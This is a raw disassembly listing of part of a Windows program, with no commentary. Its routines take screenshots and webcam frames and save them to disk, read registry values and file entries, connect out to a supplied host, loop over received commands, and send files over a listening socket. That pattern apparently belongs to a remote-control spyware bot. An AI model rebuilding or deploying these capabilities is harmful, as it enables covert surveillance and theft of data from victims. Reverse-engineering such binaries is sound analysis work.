		call	dword_4CB67C	; BitBlt
		test	eax, eax
		jz	loc_4155E0
		cmp	ebx, esi
		jz	short loc_4154DD
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_4CB558	; GetDIBColorTable
		mov	ebx, eax


loc_4154DD:				; CODE XREF: sub_4153BC+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		call	dword_4270EC	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_4155C0
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		call	dword_4270E0	; WriteFile
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		call	dword_4270E0	; WriteFile
		cmp	ebx, esi
		jz	short loc_4155A2
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	dword_4270E0	; WriteFile


loc_4155A2:				; CODE XREF: sub_4153BC+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		call	dword_4270E0	; WriteFile
		push	[ebp+arg_0]
		call	dword_427068	; CloseHandle
		push	1
		pop	esi


loc_4155C0:				; CODE XREF: sub_4153BC+1A2j
		push	[ebp+var_1C]
		call	dword_4CB590	; DeleteObject
		push	[ebp+var_4]
		call	dword_4CB4F0	; DeleteDC
		mov	edi, [ebp+var_20]


loc_4155D5:				; CODE XREF: sub_4153BC+70j
		push	edi
		call	dword_4CB4F0	; DeleteDC
		mov	eax, esi
		jmp	short loc_4155F2
; ---------------------------------------------------------------------------


loc_4155E0:				; CODE XREF: sub_4153BC+C7j
					; sub_4153BC+D9j ...
		push	edi
		call	dword_4CB4F0	; DeleteDC
		push	[ebp+var_4]
		call	dword_4CB4F0	; DeleteDC


loc_4155F0:				; CODE XREF: sub_4153BC+23j
		xor	eax, eax


loc_4155F2:				; CODE XREF: sub_4153BC+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4153BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155F7	proc near		; CODE XREF: sub_401ACD+7476p

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D3260
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CB584
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_415635
		mov	eax, esi
		jmp	loc_4157EB
; ---------------------------------------------------------------------------


loc_415635:				; CODE XREF: sub_4155F7+35j
		push	edi
		call	dword_4CB5D4	; IsWindow
		test	eax, eax
		jz	short loc_415652
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CB690	; SendMessageA
		jmp	short loc_415654
; ---------------------------------------------------------------------------


loc_415652:				; CODE XREF: sub_4155F7+47j
		xor	eax, eax


loc_415654:				; CODE XREF: sub_4155F7+59j
		cmp	eax, ebx
		jnz	short loc_41565F


loc_415658:				; CODE XREF: sub_4155F7+88j
					; sub_4155F7+BCj
		mov	ebx, esi
		jmp	loc_4157E0
; ---------------------------------------------------------------------------


loc_41565F:				; CODE XREF: sub_4155F7+5Fj
		push	edi
		call	dword_4CB5D4	; IsWindow
		test	eax, eax
		jz	short loc_41567C
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CB690	; SendMessageA


loc_41567C:				; CODE XREF: sub_4155F7+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_415658
		push	edi
		call	dword_4CB5D4	; IsWindow
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_4156A2
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_4CB690	; SendMessageA
		mov	[ebp+arg_4], eax
		jmp	short loc_4156A5
; ---------------------------------------------------------------------------


loc_4156A2:				; CODE XREF: sub_4155F7+98j
		mov	[ebp+arg_4], ebx


loc_4156A5:				; CODE XREF: sub_4155F7+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_415658
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4156CC
		push	1
		pop	ebx
		jmp	loc_4157E0
; ---------------------------------------------------------------------------


loc_4156CC:				; CODE XREF: sub_4155F7+CBj
		push	[ebp+var_4]
		call	dword_4CB5D4	; IsWindow
		test	eax, eax
		jz	short loc_4156E9
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB690	; SendMessageA


loc_4156E9:				; CODE XREF: sub_4155F7+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_415704
		mov	ecx, 280h


loc_415704:				; CODE XREF: sub_4155F7+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_415710
		mov	eax, 1E0h


loc_415710:				; CODE XREF: sub_4155F7+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CB5D4	; IsWindow
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_41575A
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB690	; SendMessageA


loc_41575A:				; CODE XREF: sub_4155F7+153j
		push	[ebp+var_4]
		call	dword_4CB5D4	; IsWindow
		test	eax, eax
		jz	short loc_415777
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_4CB690	; SendMessageA


loc_415777:				; CODE XREF: sub_4155F7+16Ej
		push	[ebp+var_4]
		call	dword_4CB5D4	; IsWindow
		test	eax, eax
		jz	short loc_415796
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_4CB690	; SendMessageA


loc_415796:				; CODE XREF: sub_4155F7+18Bj
		push	[ebp+var_4]
		call	dword_4CB5D4	; IsWindow
		test	eax, eax
		jz	short loc_4157B3
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB690	; SendMessageA


loc_4157B3:				; CODE XREF: sub_4155F7+1AAj
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB5D4	; IsWindow
		test	eax, eax
		jz	short loc_4157E0
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_4CB690	; SendMessageA


loc_4157E0:				; CODE XREF: sub_4155F7+63j
					; sub_4155F7+D0j ...
		push	[ebp+var_4]
		call	dword_4CB6E4	; DestroyWindow
		mov	eax, ebx


loc_4157EB:				; CODE XREF: sub_4155F7+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4155F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4157F0	proc near		; CODE XREF: sub_401ACD+752Ep

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D3260
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CB584
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_41582E
		mov	eax, esi
		jmp	loc_415A2A
; ---------------------------------------------------------------------------


loc_41582E:				; CODE XREF: sub_4157F0+35j
		push	edi
		call	dword_4CB5D4	; IsWindow
		test	eax, eax
		jz	short loc_41584B
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CB690	; SendMessageA
		jmp	short loc_41584D
; ---------------------------------------------------------------------------


loc_41584B:				; CODE XREF: sub_4157F0+47j
		xor	eax, eax


loc_41584D:				; CODE XREF: sub_4157F0+59j
		cmp	eax, ebx
		jnz	short loc_415858


loc_415851:				; CODE XREF: sub_4157F0+8Bj
					; sub_4157F0+BCj
		mov	ebx, esi
		jmp	loc_415A21
; ---------------------------------------------------------------------------


loc_415858:				; CODE XREF: sub_4157F0+5Fj
		push	edi
		call	dword_4CB5D4	; IsWindow
		test	eax, eax
		jz	short loc_415878
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CB690	; SendMessageA


loc_415878:				; CODE XREF: sub_4157F0+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_415851
		push	edi
		call	dword_4CB5D4	; IsWindow
		test	eax, eax
		jz	short loc_41589B
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_4CB690	; SendMessageA
		mov	[ebp+arg_4], eax
		jmp	short loc_41589E
; ---------------------------------------------------------------------------


loc_41589B:				; CODE XREF: sub_4157F0+96j
		mov	[ebp+arg_4], ebx


loc_41589E:				; CODE XREF: sub_4157F0+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_415851
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4158C5
		push	1
		pop	ebx
		jmp	loc_415A21
; ---------------------------------------------------------------------------


loc_4158C5:				; CODE XREF: sub_4157F0+CBj
		push	edi
		call	dword_4CB5D4	; IsWindow
		test	eax, eax
		jz	short loc_4158E2
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	dword_4CB690	; SendMessageA


loc_4158E2:				; CODE XREF: sub_4157F0+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_4158FD
		mov	ecx, 0A0h


loc_4158FD:				; CODE XREF: sub_4157F0+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_415907
		push	78h
		pop	eax


loc_415907:				; CODE XREF: sub_4157F0+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CB5D4	; IsWindow
		test	eax, eax
		jz	short loc_41594C
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CB690	; SendMessageA


loc_41594C:				; CODE XREF: sub_4157F0+14Aj
		push	edi
		call	dword_4CB5D4	; IsWindow
		test	eax, eax
		jz	short loc_415969
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_4CB690	; SendMessageA


loc_415969:				; CODE XREF: sub_4157F0+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_4CB5D4	; IsWindow
		test	eax, eax
		jz	short loc_4159A7
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_4CB690	; SendMessageA


loc_4159A7:				; CODE XREF: sub_4157F0+1A3j
		push	edi
		call	dword_4CB5D4	; IsWindow
		test	eax, eax
		jz	short loc_4159C2
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_4CB690	; SendMessageA


loc_4159C2:				; CODE XREF: sub_4157F0+1C0j
		push	edi
		call	dword_4CB5D4	; IsWindow
		test	eax, eax
		jz	short loc_4159DB
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_4CB690	; SendMessageA


loc_4159DB:				; CODE XREF: sub_4157F0+1DBj
		push	edi
		call	dword_4CB5D4	; IsWindow
		test	eax, eax
		jz	short loc_4159F8
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CB690	; SendMessageA


loc_4159F8:				; CODE XREF: sub_4157F0+1F4j
		push	[ebp+var_4]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4CB5D4	; IsWindow
		test	eax, eax
		jz	short loc_415A21
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_4CB690	; SendMessageA


loc_415A21:				; CODE XREF: sub_4157F0+63j
					; sub_4157F0+D0j ...
		push	edi
		call	dword_4CB6E4	; DestroyWindow
		mov	eax, ebx


loc_415A2A:				; CODE XREF: sub_4157F0+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4157F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415A2F	proc near		; CODE XREF: sub_401ACD+25F1p

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_4368BC, ebx
		mov	[ebp+var_C], 80h
		jz	loc_415BD0
		push	esi
		push	edi
		mov	eax, offset off_4368BC
		mov	esi, offset dword_4368C8
		mov	edi, offset dword_437AC0


loc_415A5F:				; CODE XREF: sub_415A2F+199j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_4CB6A4	; RegOpenKeyExA
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_4CB534	; RegQueryValueExA
		test	eax, eax
		jnz	loc_415BB6
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_415B7A
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset dword_429A90
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_41B4C2
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_415BB6
		push	eax


loc_415AD8:				; CODE XREF: sub_415A2F+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch
		test	eax, eax
		jz	loc_415B6F
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B05
		push	[ebp+var_8]
		jmp	short loc_415AD8
; ---------------------------------------------------------------------------


loc_415B05:				; CODE XREF: sub_415A2F+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B33
		lea	eax, [ebp+var_70]
		push	offset asc_437ABC ; "="
		push	eax
		call	sub_41C0F4
		push	offset asc_437ABC ; "="
		push	ebx
		call	sub_41C0F4
		add	esp, 10h
		jmp	short loc_415B36
; ---------------------------------------------------------------------------


loc_415B33:				; CODE XREF: sub_415A2F+E4j
		lea	eax, [ebp+var_70]


loc_415B36:				; CODE XREF: sub_415A2F+102j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AC
		add	esp, 18h


loc_415B6F:				; CODE XREF: sub_415A2F+B9j
		push	[ebp+var_8]
		call	sub_41B05B
		pop	ecx
		jmp	short loc_415BB6
; ---------------------------------------------------------------------------


loc_415B7A:				; CODE XREF: sub_415A2F+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AC
		add	esp, 28h


loc_415BB6:				; CODE XREF: sub_415A2F+60j
					; sub_415A2F+A2j ...
		push	[ebp+var_4]
		call	dword_4CB610	; RegCloseKey
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_415A5F
		pop	edi
		pop	esi


loc_415BD0:				; CODE XREF: sub_415A2F+19j
		pop	ebx
		leave
		retn
sub_415A2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415BD3	proc near		; CODE XREF: sub_415C59+33p
					; sub_4161BC+BCp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CB6B4	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_415C4F
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB634	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CB674	; inet_addr
		cmp	eax, esi
		jnz	short loc_415C34
		push	[ebp+arg_0]
		call	dword_4CB6B8	; gethostbyname
		test	eax, eax
		jz	short loc_415C4F
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_415C34:				; CODE XREF: sub_415BD3+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB5DC	; connect
		cmp	eax, esi
		jnz	short loc_415C53
		push	edi
		call	dword_4CB6CC	; closesocket


loc_415C4F:				; CODE XREF: sub_415BD3+1Bj
					; sub_415BD3+58j
		mov	eax, esi
		jmp	short loc_415C55
; ---------------------------------------------------------------------------


loc_415C53:				; CODE XREF: sub_415BD3+73j
		mov	eax, edi


loc_415C55:				; CODE XREF: sub_415BD3+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_415BD3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415C59	proc near		; DATA XREF: sub_401ACD+A1Eo

var_11B4	= byte ptr -11B4h
var_1B4		= byte ptr -1B4h
var_1AC		= byte ptr -1ACh
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 11B4h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1B4]
		rep movsd
		push	1
		pop	esi
		push	[ebp+var_14]
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_415BD3
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_415CEC
		lea	eax, [ebp+var_11B4]
		push	offset unk_437B3C
		push	eax
		call	sub_41B886
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_415CCF
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_409A72
		add	esp, 14h


loc_415CCF:				; CODE XREF: sub_415C59+59j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_4151AC
		push	[ebp+var_10]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270CC	; ExitThread


loc_415CEC:				; CODE XREF: sub_415C59+3Fj
		push	offset byte_43D7E8
		push	ebx
		call	sub_419C64
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_415D57
		lea	eax, [ebp+var_11B4]
		push	offset unk_437B0C
		push	eax
		call	sub_41B886
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_415D33
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_409A72
		add	esp, 14h


loc_415D33:				; CODE XREF: sub_415C59+BDj
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	ebx
		call	dword_4CB6CC	; closesocket
		push	[ebp+var_10]
		call	sub_40B412
		pop	ecx
		push	esi
		call	dword_4270CC	; ExitThread


loc_415D57:				; CODE XREF: sub_415C59+A3j
		push	64h
		call	dword_427078	; Sleep
		xor	edi, edi
		mov	esi, 1000h


loc_415D66:				; CODE XREF: sub_415C59+168j
		push	esi
		lea	eax, [ebp+var_11B4]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_11B4]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CB64C	; recv
		test	eax, eax
		jle	short loc_415DC3
		lea	eax, [ebp+var_11B4]
		push	offset asc_42A06C ; "\n"
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_419A50
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415DC3
		push	64h
		call	dword_427078	; Sleep
		push	0Ah
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	short loc_415D66


loc_415DC3:				; CODE XREF: sub_415C59+130j
					; sub_415C59+154j
		lea	eax, [ebp+var_11B4]
		push	offset unk_437AD8
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], edi
		pop	ecx
		pop	ecx
		jnz	short loc_415DF6
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_409A72
		add	esp, 14h


loc_415DF6:				; CODE XREF: sub_415C59+180j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	ebx
		call	dword_4CB6CC	; closesocket
		push	[ebp+var_10]
		call	sub_40B412
		pop	ecx
		push	edi
		call	dword_4270CC	; ExitThread
sub_415C59	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415E1A	proc near		; DATA XREF: sub_401ACD+7831o

var_A04		= byte ptr -0A04h
var_604		= byte ptr -604h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_3FC		= byte ptr -3FCh
var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
var_1E0		= byte ptr -1E0h
var_DC		= byte ptr -0DCh
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1FC]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp+var_10], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp+var_C], esi
		mov	[ebp+var_20], esi
		call	dword_4CB6B4	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_18], edi
		jnz	short loc_415E68
		push	offset unk_437C3C
		jmp	loc_416021
; ---------------------------------------------------------------------------


loc_415E68:				; CODE XREF: sub_415E1A+42j
		push	10h
		lea	eax, [ebp+var_30]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_30], 2
		push	esi
		call	dword_4CB634	; htons
		mov	word ptr [ebp+var_2E], ax
		lea	eax, [ebp+var_30]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_2E+2],	esi
		call	dword_4CB660	; bind
		test	eax, eax
		jz	short loc_415EA6
		push	offset unk_437C18
		jmp	loc_416021
; ---------------------------------------------------------------------------


loc_415EA6:				; CODE XREF: sub_415E1A+80j
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_1C], 10h
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		push	edi
		call	dword_4CB5D8	; getsockname
		push	[ebp+var_2E]
		call	dword_4CB564	; htons
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_1E0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_41AFE0
		pop	ecx


loc_415ED8:				; CODE XREF: sub_415E1A+EFj
		mov	ecx, [ebp+arg_0]
		mov	al, [ebp+ecx+var_1E0]
		cmp	al, 20h
		jnz	short loc_415EEB
		push	5Fh
		pop	eax
		jmp	short loc_415EEE
; ---------------------------------------------------------------------------


loc_415EEB:				; CODE XREF: sub_415E1A+CAj
		movsx	eax, al


loc_415EEE:				; CODE XREF: sub_415E1A+CFj
		mov	[ebp+ecx+var_604], al
		lea	eax, [ebp+var_1E0]
		inc	ecx
		push	eax
		mov	[ebp+arg_0], ecx
		call	sub_41AFE0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jbe	short loc_415ED8
		push	ebx
		push	edi
		call	dword_4CB65C	; listen
		test	eax, eax
		jz	short loc_415F21
		push	offset unk_437B3C
		jmp	loc_416021
; ---------------------------------------------------------------------------


loc_415F21:				; CODE XREF: sub_415E1A+FBj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp+var_1E0]
		push	80000000h
		push	eax
		call	dword_4270EC	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_415F4B
		push	offset unk_437BF8
		jmp	loc_416021
; ---------------------------------------------------------------------------


loc_415F4B:				; CODE XREF: sub_415E1A+125j
		push	esi
		push	eax
		call	dword_427108	; GetFileSize
		mov	[ebp+arg_0], eax
		push	eax
		movzx	eax, word ptr [ebp+var_4]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40AC0F
		pop	ecx
		push	eax
		call	dword_4CB674	; inet_addr
		push	eax
		call	dword_4CB630	; htonl
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_437BE0
